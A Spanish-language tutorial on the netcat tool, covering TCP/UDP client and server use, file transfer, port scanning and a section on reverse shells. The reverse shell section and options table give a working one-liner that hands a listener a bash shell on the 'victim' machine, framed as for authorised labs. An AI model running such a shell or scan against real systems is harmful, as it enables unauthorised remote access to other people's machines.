Netcat
Netcat en Linux
Section titled “Netcat en Linux”¿Qué es Netcat?
Section titled “¿Qué es Netcat?”Netcat (abreviado nc) es una herramienta de línea de comandos usada para:
- Leer y escribir datos en conexiones TCP o UDP.
- Crear clientes y servidores.
- Transferir archivos, hacer escucha de puertos, chats, o incluso backdoors (de forma ética y controlada).
Es conocida como el “cuchillo suizo de las redes”.
Instalación
Section titled “Instalación”En la mayoría de sistemas viene preinstalado:
nc -hSí no lo tienes:
Linux (Debian/Ubuntu):
Section titled “Linux (Debian/Ubuntu):”sudo apt install netcatWindows: Puedes usar Ncat (parte de Nmap): https://nmap.org/ncat/
Sintaxis general
Section titled “Sintaxis general”nc [opciones] [host] [puerto]Modos principales de uso
Section titled “Modos principales de uso”Cliente TCP
Section titled “Cliente TCP”Conectarse a un servidor:
nc 127.0.0.1 8080Esto abre una conexión al puerto 8080 del localhost.
Servidor TCP
Section titled “Servidor TCP”Escuchar conexiones:
nc -l -p 8080-l → modo escucha
-p → especifica el puerto
Luego, desde otro terminal:
nc 127.0.0.1 8080Ahora puedes enviar mensajes entre ambos terminales (chat simple).
UDP en lugar de TCP
Section titled “UDP en lugar de TCP”Para usar UDP en vez de TCP:
# Servidornc -u -l -p 6000
# Clientenc -u 127.0.0.1 6000-u → activa modo UDP.
Transferencia de archivos
Section titled “Transferencia de archivos”Enviar un archivo
Section titled “Enviar un archivo”Servidor que recibirá:
nc -l -p 5000 > archivo_recibido.txtCliente que envía:
nc 127.0.0.1 5000 < archivo.txtEl archivo archivo.txt se envía al servidor.
Chat simple entre dos PCs (TCP)
Section titled “Chat simple entre dos PCs (TCP)”En una máquina:
nc -l -p 4000En otra:
nc IP_DEL_SERVIDOR 4000Ahora ambos pueden escribir y leer mensajes.
Escaneo de puertos
Section titled “Escaneo de puertos”Netcat puede escanear qué puertos están abiertos en una máquina:
nc -zv 192.168.1.10 20-80-z → modo “scan” sin enviar datos.
-v → modo verbose (muestra resultado).
20-80 → rango de puertos.
Redirección de entrada/salida
Section titled “Redirección de entrada/salida”Puedes usar pipes para automatizar tareas:
echo "Hola servidor" | nc 127.0.0.1 8080O guardar la respuesta:
nc 127.0.0.1 80 respuesta.txtReverse Shells (usos éticos y educativos)
Section titled “Reverse Shells (usos éticos y educativos)”Netcat puede crear conexiones remotas tipo shell inversa, usadas en pentesting (no ilegalmente).
En el servidor (escuchando)
Section titled “En el servidor (escuchando)”nc -l -p 4444 -vEn la víctima (simulada)
Section titled “En la víctima (simulada)”nc 192.168.1.100 4444 -e /bin/bashEsto le da al servidor una consola remota de la otra máquina. (Solo en entornos controlados o de práctica legal.)
Otras opciones útiles
Section titled “Otras opciones útiles”| Comando | Qué hace | Ejemplo |
|---|---|---|
nc -l -p | Escucha en un puerto (servidor). | nc -l -p 8080 |
nc -u | Usa UDP en lugar de TCP. | nc -u -l -p 6000 |
nc -z | Escaneo sin enviar datos. | nc -z 192.168.1.10 22 |
nc -v | Salida detallada (verbose). | nc -zv host 80 |
nc -n | No resuelve DNS (solo IPs). | nc -nv 10.0.0.1 443 |
nc -w | Timeout en segundos. | nc -w 3 host 80 |
nc -e | Ejecuta un programa al conectar (si la build lo permite). | nc -e /bin/bash … |
Ejemplo práctico completo
Section titled “Ejemplo práctico completo”Crear servidor de eco
Section titled “Crear servidor de eco”# Servidornc -l -p 1234 -vCliente
Section titled “Cliente”nc 127.0.0.1 1234Ahora cualquier texto que envíes se reflejará entre ambos.
Resumen rápido
Section titled “Resumen rápido”| Concepto | Significado |
|---|---|
| Cliente | nc host puerto — conectar a un servicio. |
| Servidor | nc -l -p puerto — escuchar conexiones. |
| UDP | Añadir -u en ambos extremos. |
| Archivos | Redirigir con < / > hacia/desde nc. |
| Escaneo | nc -zv host inicio-fin. |
| Shell inversa | Solo en labs autorizados; muchas distros desactivan -e. |
Alternativas modernas
Section titled “Alternativas modernas”- Ncat (de Nmap): versión más segura y moderna.
- Socat: similar pero con más opciones.
- PowerCat (en Windows PowerShell): equivalente en sistemas modernos.